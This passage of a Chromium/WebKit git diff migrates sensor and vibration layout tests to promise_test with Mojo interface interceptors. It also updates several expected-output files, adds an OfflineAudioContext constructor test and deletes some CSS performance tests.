 <script src="file:///gen/layout_test_data/mojo/public/js/mojo_bindings.js"></script>
 <script src="file:///gen/services/device/public/interfaces/sensor_provider.mojom.js"></script>
 <script src="resources/sensor-helpers.js"></script>
diff --git a/third_party/WebKit/LayoutTests/sensor/magnetometer.html b/third_party/WebKit/LayoutTests/sensor/magnetometer.html
index 2c05dbe..b5c908d 100644
--- a/third_party/WebKit/LayoutTests/sensor/magnetometer.html
+++ b/third_party/WebKit/LayoutTests/sensor/magnetometer.html
@@ -1,7 +1,6 @@
 <!DOCTYPE html>
 <script src="../resources/testharness.js"></script>
 <script src="../resources/testharnessreport.js"></script>
-<script src="../resources/mojo-helpers.js"></script>
 <script src="file:///gen/layout_test_data/mojo/public/js/mojo_bindings.js"></script>
 <script src="file:///gen/services/device/public/interfaces/sensor_provider.mojom.js"></script>
 <script src="resources/sensor-helpers.js"></script>
diff --git a/third_party/WebKit/LayoutTests/sensor/mock-sensor.html b/third_party/WebKit/LayoutTests/sensor/mock-sensor.html
index 0383cfbc..c197abf 100644
--- a/third_party/WebKit/LayoutTests/sensor/mock-sensor.html
+++ b/third_party/WebKit/LayoutTests/sensor/mock-sensor.html
@@ -1,7 +1,6 @@
 <!DOCTYPE html>
 <script src="../resources/testharness.js"></script>
 <script src="../resources/testharnessreport.js"></script>
-<script src="../resources/mojo-helpers.js"></script>
 <script src="file:///gen/layout_test_data/mojo/public/js/mojo_bindings.js"></script>
 <script src="file:///gen/services/device/public/interfaces/sensor_provider.mojom.js"></script>
 <script src="resources/sensor-helpers.js"></script>
diff --git a/third_party/WebKit/LayoutTests/sensor/orientation-sensor.html b/third_party/WebKit/LayoutTests/sensor/orientation-sensor.html
index 0244ed7e..1dc020a 100644
--- a/third_party/WebKit/LayoutTests/sensor/orientation-sensor.html
+++ b/third_party/WebKit/LayoutTests/sensor/orientation-sensor.html
@@ -1,7 +1,6 @@
 <!DOCTYPE html>
 <script src="../resources/testharness.js"></script>
 <script src="../resources/testharnessreport.js"></script>
-<script src="../resources/mojo-helpers.js"></script>
 <script src="file:///gen/layout_test_data/mojo/public/js/mojo_bindings.js"></script>
 <script src="file:///gen/services/device/public/interfaces/sensor_provider.mojom.js"></script>
 <script src="resources/sensor-helpers.js"></script>
diff --git a/third_party/WebKit/LayoutTests/sensor/resources/generic-sensor-tests.js b/third_party/WebKit/LayoutTests/sensor/resources/generic-sensor-tests.js
index 18853ee3..2f022d9d 100644
--- a/third_party/WebKit/LayoutTests/sensor/resources/generic-sensor-tests.js
+++ b/third_party/WebKit/LayoutTests/sensor/resources/generic-sensor-tests.js
@@ -55,7 +55,7 @@
             return new Promise((resolve, reject) => {
               let wrapper = new CallbackWrapper(() => {
                 let configuration = mockSensor.activeSensorConfigurations_[0];
-                assert_equals(configuration.frequency, 60);
+                assert_less_than_equal(configuration.frequency, 60);
                 sensorObject.stop();
                 assert_false(sensorObject.activated);
                 resolve(mockSensor);
@@ -66,7 +66,7 @@
           })
           .then(mockSensor => { return mockSensor.removeConfigurationCalled(); });
       return testPromise;
-  }, prefix + 'Test that frequency is capped to 60.0 Hz.');
+  }, prefix + 'Test that frequency is capped to allowed maximum.');
 
   sensor_test(sensor => {
     let sensorObject = new sensorType();
@@ -93,7 +93,7 @@
   }, prefix + 'Test that configuration is removed for a stopped sensor.');
 
   sensor_test(sensor => {
-    let maxSupportedFrequency = 15;
+    let maxSupportedFrequency = 5;
     sensor.mockSensorProvider.setMaximumSupportedFrequency(maxSupportedFrequency);
     let sensorObject = new sensorType({frequency: 50});
     sensorObject.start();
@@ -381,9 +381,6 @@
                   fastSensor.start();
                   readingUpdatesCounter = mockSensor.readingUpdatesCount();
               } else if (slowSensorNotifiedCounter == 2) {
-                // By the moment slow sensor (9 Hz) is notified for the
-                // next time, the fast sensor (30 Hz) has been notified
-                // for int(30/9) = 3 times.
                 let elapsedUpdates = mockSensor.readingUpdatesCount() - readingUpdatesCounter;
                 // Approximation because 'slowSensor.onreading' is sometimes
                 // called before 'fastSensor.onreading', in this case
diff --git a/third_party/WebKit/LayoutTests/sensor/resources/sensor-helpers.js b/third_party/WebKit/LayoutTests/sensor/resources/sensor-helpers.js
index ea7322c..e503829 100644
--- a/third_party/WebKit/LayoutTests/sensor/resources/sensor-helpers.js
+++ b/third_party/WebKit/LayoutTests/sensor/resources/sensor-helpers.js
@@ -265,6 +265,13 @@
       assert_equals(rv.result, Mojo.RESULT_OK);
 
       let defaultConfig = {frequency: 5};
+      // Consider sensor traits to meet assertions in C++ code (see
+      // services/device/public/cpp/generic_sensor/sensor_traits.h)
+      if (type == device.mojom.SensorType.AMBIENT_LIGHT ||
+          type == device.mojom.SensorType.MAGNETOMETER) {
+        if (this.maxFrequency_ > 10)
+          this.maxFrequency_ = 10;
+      }
 
       let initParams =
           new device.mojom.SensorInitParams(
@@ -348,22 +355,17 @@
 }
 
 function sensor_test(func, name, properties) {
-  mojo_test(() => {
+  promise_test(async () => {
     let sensor = sensorMocks();
 
     // Clean up and reset mock sensor stubs asynchronously, so that the blink
     // side closes its proxies and notifies JS sensor objects before new test is
     // started.
-    let onSuccess = () => {
+    try {
+      await func(sensor);
+    } finally {
       sensor.mockSensorProvider.reset();
-      return new Promise((resolve, reject) => { setTimeout(resolve, 0); });
+      await new Promise(resolve => { setTimeout(resolve, 0); });
     };
-
-    let onFailure = error => {
-      sensor.mockSensorProvider.reset();
-      return new Promise((resolve, reject) => { setTimeout(() => {reject(error);}, 0); });
-    };
-
-    return Promise.resolve(func(sensor)).then(onSuccess, onFailure);
   }, name, properties);
 }
diff --git a/third_party/WebKit/LayoutTests/svg/css/getComputedStyle-listing-expected.txt b/third_party/WebKit/LayoutTests/svg/css/getComputedStyle-listing-expected.txt
index ef488dd..3959fc7 100644
--- a/third_party/WebKit/LayoutTests/svg/css/getComputedStyle-listing-expected.txt
+++ b/third_party/WebKit/LayoutTests/svg/css/getComputedStyle-listing-expected.txt
@@ -161,7 +161,7 @@
 font-variant-caps: normal
 font-variant-ligatures: normal
 font-variant-numeric: normal
-font-weight: 400
+font-weight: normal
 grid-auto-columns: auto
 grid-auto-flow: row
 grid-auto-rows: auto
diff --git a/third_party/WebKit/LayoutTests/svg/parser/foreign-object-case-sensitivity-expected.txt b/third_party/WebKit/LayoutTests/svg/parser/foreign-object-case-sensitivity-expected.txt
index 5e50e1c9..824500a 100644
--- a/third_party/WebKit/LayoutTests/svg/parser/foreign-object-case-sensitivity-expected.txt
+++ b/third_party/WebKit/LayoutTests/svg/parser/foreign-object-case-sensitivity-expected.txt
@@ -39,13 +39,13 @@
 (Should have matched case-sensitively for svg elements according to the html spec).
 
 PASS getComputedStyle(fo1).color is "rgb(0, 128, 0)"
-PASS getComputedStyle(fo1).fontWeight is "700"
+PASS getComputedStyle(fo1).fontWeight is "bold"
 PASS getComputedStyle(fo2).color is "rgb(0, 128, 0)"
-PASS getComputedStyle(fo2).fontWeight is "700"
+PASS getComputedStyle(fo2).fontWeight is "bold"
 PASS getComputedStyle(fo3).color is "rgb(0, 128, 0)"
-PASS getComputedStyle(fo3).fontWeight is "700"
+PASS getComputedStyle(fo3).fontWeight is "bold"
 PASS getComputedStyle(fo4).color is "rgb(0, 128, 0)"
-PASS getComputedStyle(fo4).fontWeight is "700"
+PASS getComputedStyle(fo4).fontWeight is "bold"
 PASS successfullyParsed is true
 
 TEST COMPLETE
diff --git a/third_party/WebKit/LayoutTests/svg/parser/foreign-object-case-sensitivity.html b/third_party/WebKit/LayoutTests/svg/parser/foreign-object-case-sensitivity.html
index 73d64160..f60f1266 100644
--- a/third_party/WebKit/LayoutTests/svg/parser/foreign-object-case-sensitivity.html
+++ b/third_party/WebKit/LayoutTests/svg/parser/foreign-object-case-sensitivity.html
@@ -69,9 +69,9 @@
     shouldBeEqualToString("getComputedStyle("+id+").fontWeight", fontWeight);
 }
 
-testComputedStyle("fo1", "rgb(0, 128, 0)", "700");
-testComputedStyle("fo2", "rgb(0, 128, 0)", "700");
-testComputedStyle("fo3", "rgb(0, 128, 0)", "700");
-testComputedStyle("fo4", "rgb(0, 128, 0)", "700");
+testComputedStyle("fo1", "rgb(0, 128, 0)", "bold");
+testComputedStyle("fo2", "rgb(0, 128, 0)", "bold");
+testComputedStyle("fo3", "rgb(0, 128, 0)", "bold");
+testComputedStyle("fo4", "rgb(0, 128, 0)", "bold");
 
 </script>
diff --git a/third_party/WebKit/LayoutTests/vibration/resources/vibrate-from-iframe.html b/third_party/WebKit/LayoutTests/vibration/resources/vibrate-from-iframe.html
index b5a55a9..de3e52262 100644
--- a/third_party/WebKit/LayoutTests/vibration/resources/vibrate-from-iframe.html
+++ b/third_party/WebKit/LayoutTests/vibration/resources/vibrate-from-iframe.html
@@ -18,14 +18,18 @@
   }
 }
 
+window.onmessage = msg => {
+  if (msg.data === 'Start') {
+    startTest();
+  }
+}
+
 function testVibrate() {
-  test(function () {
-      assert_true(navigator.vibrate(200));
-  }, "An iframe may call navigator.vibrate with user gesture.");
+  assert_true(navigator.vibrate(200));
 }
 </script>
 </head>
-<body onload="startTest();">
+<body>
 <button id="test" onclick="testVibrate();">Click to vibrate</button>
 </body>
 </html>
diff --git a/third_party/WebKit/LayoutTests/vibration/resources/vibration-helpers.js b/third_party/WebKit/LayoutTests/vibration/resources/vibration-helpers.js
index 2f36ca5c..cab535bc 100644
--- a/third_party/WebKit/LayoutTests/vibration/resources/vibration-helpers.js
+++ b/third_party/WebKit/LayoutTests/vibration/resources/vibration-helpers.js
@@ -1,70 +1,84 @@
 'use strict';
 
-function vibration_mocks(mojo) {
-  return define(
-      'VibrationManager mocks',
-      [
-        'mojo/public/js/bindings',
-        'services/device/public/interfaces/constants.mojom',
-        'services/device/public/interfaces/vibration_manager.mojom',
-      ],
-      (bindings, deviceConstants, vibrationManager) => {
-        class MockVibrationManager {
-          constructor() {
-            this.bindingSet =
-                new bindings.BindingSet(vibrationManager.VibrationManager);
+// A helper for forwarding MojoHandle instances from one frame to another.
+class CrossFrameHandleProxy {
+  constructor(callback) {
+    let {handle0, handle1} = Mojo.createMessagePipe();
+    this.sender_ = handle0;
+    this.receiver_ = handle1;
+    this.receiver_.watch({readable: true}, () => {
+      var message = this.receiver_.readMessage();
+      callback(message.handles[0]);
+    });
+  }
 
-            this.vibrate_milliseconds_ = -1;
-            this.cancelled_ = false;
-          }
-
-          vibrate(milliseconds) {
-            this.vibrate_milliseconds_ = milliseconds;
-            window.postMessage('Vibrate', '*');
-            return Promise.resolve();
-          }
-
-          cancel() {
-            this.cancelled_ = true;
-            window.postMessage('Cancel', '*');
-          }
-
-          getDuration() {
-            return this.vibrate_milliseconds_;
-          }
-
-          isCancelled() {
-            return this.cancelled_;
-          }
-
-          reset() {
-            this.vibrate_milliseconds_ = -1;
-            this.cancelled_ = false;
-          }
-        }
-
-        let mockVibrationManager = new MockVibrationManager;
-        mojo.connector.addInterfaceOverrideForTesting(
-            deviceConstants.kServiceName,
-            vibrationManager.VibrationManager.name, handle => {
-              mockVibrationManager.bindingSet.addBinding(
-                  mockVibrationManager, handle);
-            });
-
-        return Promise.resolve({
-          // Mock interface instance bound.
-          mockVibrationManager: mockVibrationManager,
-        });
-      });
+  forwardHandle(handle) {
+    this.sender_.writeMessage(new ArrayBuffer, [handle]);
+  }
 }
 
+class MockVibrationManager {
+  constructor() {
+    this.bindingSet_ =
+        new mojo.BindingSet(device.mojom.VibrationManager);
+
+    this.interceptor_ = new MojoInterfaceInterceptor(
+        device.mojom.VibrationManager.name);
+    this.interceptor_.oninterfacerequest =
+        e => this.bindingSet_.addBinding(this, e.handle);
+    this.interceptor_.start();
+    this.crossFrameHandleProxy_ = new CrossFrameHandleProxy(
+        handle => this.bindingSet_.addBinding(this, handle));
+
+    this.vibrate_milliseconds_ = -1;
+    this.cancelled_ = false;
+  }
+
+  attachToWindow(otherWindow) {
+    otherWindow.vibrationManagerInterceptor =
+        new otherWindow.MojoInterfaceInterceptor(
+            device.mojom.VibrationManager.name);
+    otherWindow.vibrationManagerInterceptor.oninterfacerequest =
+        e => this.crossFrameHandleProxy_.forwardHandle(e.handle);
+    otherWindow.vibrationManagerInterceptor.start();
+  }
+
+  vibrate(milliseconds) {
+    this.vibrate_milliseconds_ = milliseconds;
+    window.postMessage('Vibrate', '*');
+    return Promise.resolve();
+  }
+
+  cancel() {
+    this.cancelled_ = true;
+    window.postMessage('Cancel', '*');
+    return Promise.resolve();
+  }
+
+  getDuration() {
+    return this.vibrate_milliseconds_;
+  }
+
+  isCancelled() {
+    return this.cancelled_;
+  }
+
+  reset() {
+    this.vibrate_milliseconds_ = -1;
+    this.cancelled_ = false;
+  }
+}
+
+let mockVibrationManager = new MockVibrationManager();
+
 function vibration_test(func, name, properties) {
-  mojo_test(
-      mojo => vibration_mocks(mojo).then(vibration => {
-        let result = Promise.resolve(func(vibration));
-        let cleanUp = () => vibration.mockVibrationManager.reset();
-        result.then(cleanUp, cleanUp);
-        return result;
-      }),
-      name, properties);
+  promise_test(async function() {
+    try {
+      await Promise.resolve(func({
+        mockVibrationManager: mockVibrationManager
+      }));
+    } finally {
+      mockVibrationManager.reset();
+    }
+  }, name, properties);
 }
diff --git a/third_party/WebKit/LayoutTests/vibration/vibration-expected.txt b/third_party/WebKit/LayoutTests/vibration/vibration-expected.txt
deleted file mode 100644
index fdc5dd1..0000000
--- a/third_party/WebKit/LayoutTests/vibration/vibration-expected.txt
+++ /dev/null
@@ -1,8 +0,0 @@
-CONSOLE ERROR: line 313: Uncaught TypeError: Cannot read property 'then' of undefined
-This is a testharness.js-based test.
-Harness Error. harness_status.status = 1 , harness_status.message = Uncaught TypeError: Cannot read property 'then' of undefined
-PASS VibrationManager Mojo bindings and mock interfaces are available to tests. 
-PASS navigator.vibrate(1234) triggers vibration correctly. 
-PASS navigator.vibrate(0) triggers cancel correctly. 
-Harness: the test ran to completion.
-
diff --git a/third_party/WebKit/LayoutTests/vibration/vibration-iframe-expected.txt b/third_party/WebKit/LayoutTests/vibration/vibration-iframe-expected.txt
deleted file mode 100644
index 8b13789..0000000
--- a/third_party/WebKit/LayoutTests/vibration/vibration-iframe-expected.txt
+++ /dev/null
@@ -1 +0,0 @@
-
diff --git a/third_party/WebKit/LayoutTests/vibration/vibration-iframe.html b/third_party/WebKit/LayoutTests/vibration/vibration-iframe.html
index 2c6c3ba..b1211bd0 100644
--- a/third_party/WebKit/LayoutTests/vibration/vibration-iframe.html
+++ b/third_party/WebKit/LayoutTests/vibration/vibration-iframe.html
@@ -1,8 +1,10 @@
 <!DOCTYPE html>
 <script src="../resources/testharness.js"></script>
 <script src="../resources/testharnessreport.js"></script>
-<script src="../resources/mojo-helpers.js"></script>
+<script src="file:///gen/layout_test_data/mojo/public/js/mojo_bindings.js"></script>
+<script src="file:///gen/services/device/public/interfaces/vibration_manager.mojom.js"></script>
 <script src="resources/vibration-helpers.js"></script>
+<body>
 <script>
 
 'use strict';
@@ -16,6 +18,10 @@
   let promise = new Promise(resolve => {
     let iframe = document.createElement('iframe');
     iframe.src = 'resources/vibrate-from-iframe.html';
+    iframe.onload = _ => {
+      vibration.mockVibrationManager.attachToWindow(iframe.contentWindow);
+      iframe.contentWindow.postMessage('Start', '*');
+    };
 
     document.body.appendChild(iframe);
 
@@ -32,7 +38,7 @@
 
   return promise.then(msgData => {
     assert_equals(msgData, 'Cancel');
-    assert_equals(vibration.mockVibrationManager.getDuration(), 1234);
+    assert_equals(vibration.mockVibrationManager.getDuration(), 200);
     assert_true(vibration.mockVibrationManager.isCancelled());
   });
 }, 'Iframe reload cancels vibration started by it before.');
@@ -41,6 +47,11 @@
   let promise = new Promise(resolve => {
     let iframe = document.createElement('iframe');
     iframe.src = 'resources/vibrate-from-iframe.html';
+    iframe.onload = _ => {
+      vibration.mockVibrationManager.attachToWindow(iframe.contentWindow);
+      iframe.contentWindow.postMessage('Start', '*');
+    };
+
     document.body.appendChild(iframe);
 
     window.onmessage = msg => {
@@ -56,9 +67,10 @@
 
   return promise.then(msgData => {
     assert_equals(msgData, 'Cancel');
-    assert_equals(vibration.mockVibrationManager.getDuration(), 1234);
+    assert_equals(vibration.mockVibrationManager.getDuration(), 200);
     assert_true(vibration.mockVibrationManager.isCancelled());
   });
 }, 'Iframe destroy cancels vibration started by it before.');
 
 </script>
+</body>
diff --git a/third_party/WebKit/LayoutTests/vibration/vibration.html b/third_party/WebKit/LayoutTests/vibration/vibration.html
index 46e7afc8..494a09c7 100644
--- a/third_party/WebKit/LayoutTests/vibration/vibration.html
+++ b/third_party/WebKit/LayoutTests/vibration/vibration.html
@@ -1,7 +1,8 @@
 <!DOCTYPE html>
 <script src="../resources/testharness.js"></script>
 <script src="../resources/testharnessreport.js"></script>
-<script src="../resources/mojo-helpers.js"></script>
+<script src="file:///gen/layout_test_data/mojo/public/js/mojo_bindings.js"></script>
+<script src="file:///gen/services/device/public/interfaces/vibration_manager.mojom.js"></script>
 <script src="../resources/user-gesture-utils.js"></script>
 <script src="resources/vibration-helpers.js"></script>
 <script src="vibration-utils.js"></script>
@@ -52,6 +53,7 @@
   });
 
   return promise.then(msgData => {
+    console.log("got message " + msgData);
     assert_equals(msgData, 'Cancel');
     assert_true(vibration.mockVibrationManager.isCancelled());
   });
diff --git a/third_party/WebKit/LayoutTests/virtual/documentwriteevaluator/http/tests/preload/document-write/README.txt b/third_party/WebKit/LayoutTests/virtual/documentwriteevaluator/http/tests/preload/document-write/README.txt
deleted file mode 100644
index 071756a..0000000
--- a/third_party/WebKit/LayoutTests/virtual/documentwriteevaluator/http/tests/preload/document-write/README.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-# This suite runs the tests in http/tests/preload/document-write with
-# --enable-blink-features=DocumentWriteEvaluator
-
diff --git a/third_party/WebKit/LayoutTests/virtual/feature-policy-permissions/http/tests/geolocation-api/README.txt b/third_party/WebKit/LayoutTests/virtual/feature-policy-permissions/http/tests/geolocation-api/README.txt
new file mode 100644
index 0000000..72baed6
--- /dev/null
+++ b/third_party/WebKit/LayoutTests/virtual/feature-policy-permissions/http/tests/geolocation-api/README.txt
@@ -0,0 +1 @@
+# These tests run with --enable-features=UseFeaturePolicyForPermissions
diff --git a/third_party/WebKit/LayoutTests/virtual/feature-policy-permissions/http/tests/geolocation-api/geolocation-default-feature-policy.https.sub-expected.txt b/third_party/WebKit/LayoutTests/virtual/feature-policy-permissions/http/tests/geolocation-api/geolocation-default-feature-policy.https.sub-expected.txt
new file mode 100644
index 0000000..e224a884
--- /dev/null
+++ b/third_party/WebKit/LayoutTests/virtual/feature-policy-permissions/http/tests/geolocation-api/geolocation-default-feature-policy.https.sub-expected.txt
@@ -0,0 +1,8 @@
+CONSOLE WARNING: line 14: getCurrentPosition and watchPosition usage in cross-origin iframes is deprecated and will be disabled in M63, around December 2017. To continue to use this feature, it must be enabled by the embedding document using Feature Policy, e.g. <iframe allow="geolocation" ...>. See https://goo.gl/EuHzyv for more details.
+This is a testharness.js-based test.
+PASS Default "geolocation" feature policy ["self"] allows the top-level document. 
+PASS Default "geolocation" feature policy ["self"] allows same-origin iframes. 
+PASS Default "geolocation" feature policy ["self"] disallows cross-origin iframes. 
+PASS Feature policy "geolocation" can be enabled in cross-origin iframes using "allow" attribute. 
+Harness: the test ran to completion.
+
diff --git a/third_party/WebKit/LayoutTests/virtual/service-worker-navigation-preload-disabled/webexposed/global-interface-listing-expected.txt b/third_party/WebKit/LayoutTests/virtual/service-worker-navigation-preload-disabled/webexposed/global-interface-listing-expected.txt
index 5474c39..713f160 100644
--- a/third_party/WebKit/LayoutTests/virtual/service-worker-navigation-preload-disabled/webexposed/global-interface-listing-expected.txt
+++ b/third_party/WebKit/LayoutTests/virtual/service-worker-navigation-preload-disabled/webexposed/global-interface-listing-expected.txt
@@ -5304,6 +5304,11 @@
     setter onconnect
     setter onconnecting
     setter ondisconnect
+interface ReportingObserver
+    attribute @@toStringTag
+    method constructor
+    method disconnect
+    method observe
 interface Request
     attribute @@toStringTag
     getter bodyUsed
diff --git a/third_party/WebKit/LayoutTests/webaudio/constructor/offlineaudiocontext.html b/third_party/WebKit/LayoutTests/webaudio/constructor/offlineaudiocontext.html
new file mode 100644
index 0000000..c9a8691
--- /dev/null
+++ b/third_party/WebKit/LayoutTests/webaudio/constructor/offlineaudiocontext.html
@@ -0,0 +1,203 @@
+<!doctype html>
+<html>
+  <head>
+    <title>Test Constructor: OfflineAudioContext</title>
+    <script src="../../resources/testharness.js"></script>
+    <script src="../../resources/testharnessreport.js"></script>
+    <script src="../resources/audit.js"></script>
+    <script src="../resources/audit-util.js"></script>
+    <script src="audionodeoptions.js"></script>
+  </head>
+
+  <body>
+    <script>
+      let audit = Audit.createTaskRunner();
+
+      // Just a simple test of the 3-arg constructor; This should be
+      // well-covered by other layout tests that use the 3-arg constructor.
+      audit.define(
+          {label: 'basic', description: 'Old-style constructor'},
+          (task, should) => {
+            let context;
+
+            // First and only arg should be a dictionary.
+            should(() => {
+              new OfflineAudioContext(3);
+            }, 'new OfflineAudioContext(3)').throw('TypeError');
+
+            // Constructor needs 1 or 3 args, so 2 should throw.
+            should(() => {
+              new OfflineAudioContext(3, 42);
+            }, 'new OfflineAudioContext(3, 42)').throw('TypeError');
+
+            // Valid constructor
+            should(() => {
+              context = new OfflineAudioContext(3, 42, 12345);
+            }, 'context = new OfflineAudioContext(3, 42, 12345)').notThrow();
+
+            // Verify that the context was constructed correctly.
+            should(context.length, 'context.length').beEqualTo(42);
+            should(context.sampleRate, 'context.sampleRate').beEqualTo(12345);
+            should(
+                context.destination.channelCount,
+                'context.destination.channelCount')
+                .beEqualTo(3);
+            should(
+                context.destination.channelCountMode,
+                'context.destination.channelCountMode')
+                .beEqualTo('explicit');
+            should(
+                context.destination.channelInterpretation,
+                'context.destination.channelInterpretation')
+                .beEqualTo('speakers');
+            task.done();
+          });
+
+      // Test constructor throws an error if the required members of the
+      // dictionary are not given.
+      audit.define(
+          {label: 'options-1', description: 'Required options'},
+          (task, should) => {
+            let context2;
+
+            // No args should throw
+            should(() => {
+              new OfflineAudioContext();
+            }, 'new OfflineAudioContext()').throw('TypeError');
+
+            // Empty OfflineAudioContextOptions should throw
+            should(() => {
+              new OfflineAudioContext({});
+            }, 'new OfflineAudioContext({})').throw('TypeError');
+
+            let options = {length: 42};
+            // sampleRate is required.
+            should(
+                () => {
+                  new OfflineAudioContext(options);
+                },
+                'new OfflineAudioContext(' + JSON.stringify(options) + ')')
+                .throw('TypeError');
+
+            options = {sampleRate: 12345};
+            // length is required.
+            should(
+                () => {
+                  new OfflineAudioContext(options);
+                },
+                'new OfflineAudioContext(' + JSON.stringify(options) + ')')
+                .throw('TypeError');
+
+            // Valid constructor.  Verify that the resulting context has the
+            // correct values.
+            options = {length: 42, sampleRate: 12345};
+            should(
+                () => {
+                  context2 = new OfflineAudioContext(options);
+                },
+                'c2 = new OfflineAudioContext(' + JSON.stringify(options) + ')')
+                .notThrow();
+            should(
+                context2.destination.channelCount,
+                'c2.destination.channelCount')
+                .beEqualTo(1);
+            should(context2.length, 'c2.length').beEqualTo(options.length);
+            should(context2.sampleRate, 'c2.sampleRate')
+                .beEqualTo(options.sampleRate);
+            should(
+                context2.destination.channelCountMode,
+                'c2.destination.channelCountMode')
+                .beEqualTo('explicit');
+            should(
+                context2.destination.channelInterpretation,
+                'c2.destination.channelInterpretation')
+                .beEqualTo('speakers');
+
+            task.done();
+          });
+
+      // Constructor should throw errors for invalid values specified by
+      // OfflineAudioContextOptions.
+      audit.define(
+          {label: 'options-2', description: 'Invalid options'},
+          (task, should) => {
+            let options = {length: 42, sampleRate: 8000, numberOfChannels: 33};
+
+            // channelCount too large.
+            should(
+                () => {
+                  new OfflineAudioContext(options);
+                },
+                'new OfflineAudioContext(' + JSON.stringify(options) + ')')
+                .throw('NotSupportedError');
+
+            // length cannot be 0
+            options = {length: 0, sampleRate: 8000};
+            should(
+                () => {
+                  new OfflineAudioContext(options);
+                },
+                'new OfflineAudioContext(' + JSON.stringify(options) + ')')
+                .throw('NotSupportedError');
+
+            // sampleRate outside valid range
+            options = {length: 1, sampleRate: 1};
+            should(
+                () => {
+                  new OfflineAudioContext(options);
+                },
+                'new OfflineAudioContext(' + JSON.stringify(options) + ')')
+                .throw('NotSupportedError');
+
+            task.done();
+          });
+
+      audit.define(
+          {label: 'options-3', description: 'Valid options'},
+          (task, should) => {
+            let context;
+            let options = {
+              length: 1,
+              sampleRate: 8000,
+            };
+
+            // Verify context with valid constructor has the correct values.
+            should(
+                () => {
+                  context = new OfflineAudioContext(options);
+                },
+                'c = new OfflineAudioContext' + JSON.stringify(options) + ')')
+                .notThrow();
+            should(context.length, 'c.length').beEqualTo(options.length);
+            should(context.sampleRate, 'c.sampleRate')
+                .beEqualTo(options.sampleRate);
+            should(
+                context.destination.channelCount, 'c.destination.channelCount')
+                .beEqualTo(1);
+            should(
+                context.destination.channelCountMode,
+                'c.destination.channelCountMode')
+                .beEqualTo('explicit');
+            should(
+                context.destination.channelInterpretation,
+                'c.destination.channelCountMode')
+                .beEqualTo('speakers');
+
+            options.numberOfChannels = 7;
+            should(
+                () => {
+                  context = new OfflineAudioContext(options);
+                },
+                'c = new OfflineAudioContext' + JSON.stringify(options) + ')')
+                .notThrow();
+            should(
+                context.destination.channelCount, 'c.destination.channelCount')
+                .beEqualTo(options.numberOfChannels);
+
+            task.done();
+          });
+
+      audit.run();
+    </script>
+  </body>
+</html>
diff --git a/third_party/WebKit/LayoutTests/webexposed/global-interface-listing-expected.txt b/third_party/WebKit/LayoutTests/webexposed/global-interface-listing-expected.txt
index 427b428..24f29f9 100644
--- a/third_party/WebKit/LayoutTests/webexposed/global-interface-listing-expected.txt
+++ b/third_party/WebKit/LayoutTests/webexposed/global-interface-listing-expected.txt
@@ -5311,6 +5311,11 @@
     setter onconnect
     setter onconnecting
     setter ondisconnect
+interface ReportingObserver
+    attribute @@toStringTag
+    method constructor
+    method disconnect
+    method observe
 interface Request
     attribute @@toStringTag
     getter bodyUsed
diff --git a/third_party/WebKit/PerformanceTests/CSS/ChangeStyleDeepTree.html b/third_party/WebKit/PerformanceTests/CSS/ChangeStyleDeepTree.html
deleted file mode 100644
index f56ac7c..0000000
--- a/third_party/WebKit/PerformanceTests/CSS/ChangeStyleDeepTree.html
+++ /dev/null
@@ -1,44 +0,0 @@
-<!DOCTYPE html>
-<html>
-<head>
-    <script src="../resources/runner.js"></script>
-    <script src="resources/utils.js"></script>
-    <style type="text/css">
-        /*
-        We are attempting to manipulate 'expensive' properties here.
-        */
-        #item {
-            background-color: red;
-            border-radius: 5px;
-            padding: 3px;
-            box-shadow: 0 5px 5px #000;
-            transform: rotate(10deg);
-            display: block;
-        }
-    </style>
-</head>
-<body>
-</body>
-    <script>
-        createDeepDOMTree();
-        var allElements = document.body.getElementsByTagName("div");
-        var length = allElements.length
-        PerfTestRunner.measureTime({
-            description: "Measures the performance of changing the style of an element in a deep and thin tree",
-            run: function() {
-                for (var i=0; i < length; i++) {
-                    allElements[i].id = "item";
-                    forceStyleRecalc(allElements[i]);
-                    allElements[i].id = "";
-                    forceStyleRecalc(allElements[i]);
-                }
-            },
-            tracingCategories: 'blink',
-            traceEventsToMeasure: [
-                'Document::updateStyle',
-                'Document::recalcStyle',
-                'Document::rebuildLayoutTree'
-            ]
-        });
-    </script>
-</html>
\ No newline at end of file
diff --git a/third_party/WebKit/PerformanceTests/CSS/ChangeStyleSinglePseudoSelector.html~HEAD b/third_party/WebKit/PerformanceTests/CSS/ChangeStyleSinglePseudoSelector.html~HEAD
deleted file mode 100644
index 335a15e8f2..0000000
--- a/third_party/WebKit/PerformanceTests/CSS/ChangeStyleSinglePseudoSelector.html~HEAD
+++ /dev/null
@@ -1,27 +0,0 @@
-<!DOCTYPE html>
-<html>
-<head>
-    <script src="../resources/runner.js"></script>
-    <script src="resources/utils.js"></script>
-</head>
-<body>
-</body>
-    <script>
-        createRegularDOMTree();
-        PerfTestRunner.measureTime({
-            description: "Measures the performance of a solo pseudo selector.",
-            run: function() {
-                var rule = applyCSSRule("div:after { content: 'after'; }");
-                forceStyleRecalc(document.body);
-                rule.remove();
-                forceStyleRecalc(document.body);
-            },
-            tracingCategories: 'blink',
-            traceEventsToMeasure: [
-                'Document::updateStyle',
-                'Document::recalcStyle',
-                'Document::rebuildLayoutTree'
-            ]
-        });
-    </script>
-</html>
\ No newline at end of file
diff --git a/third_party/WebKit/PerformanceTests/CSS/LoadBootstrapComponents.html b/third_party/WebKit/PerformanceTests/CSS/LoadBootstrapComponents.html
deleted file mode 100644
index 19effef..0000000
--- a/third_party/WebKit/PerformanceTests/CSS/LoadBootstrapComponents.html
+++ /dev/null
@@ -1,1282 +0,0 @@
-<!DOCTYPE html>
-<html>
-  <head>
-    <meta charset="utf-8">
-    <script src="../resources/runner.js"></script>
-    <script src="resources/utils.js"></script>
-  </head>
-  <body>
-    <!-- Adapted from https://bootswatch.com/default/ -->
-    <div class="navbar navbar-default navbar-fixed-top">
-      <div class="container">
-        <div class="navbar-header">
-          <a href="../" class="navbar-brand">Bootswatch</a>
-          <button class="navbar-toggle" type="button" data-toggle="collapse" data-target="#navbar-main">
-            <span class="icon-bar"></span>
-            <span class="icon-bar"></span>
-            <span class="icon-bar"></span>
-          </button>
-        </div>
-        <div class="navbar-collapse collapse" id="navbar-main">
-          <ul class="nav navbar-nav">
-            <li class="dropdown">
-              <a class="dropdown-toggle" data-toggle="dropdown" href="#" id="themes">Themes <span class="caret"></span></a>
-              <ul class="dropdown-menu" aria-labelledby="themes">
-                <li><a href="../default/">Default</a></li>
-                <li class="divider"></li>
-                <li><a href="../cerulean/">Cerulean</a></li>
-                <li><a href="../cosmo/">Cosmo</a></li>
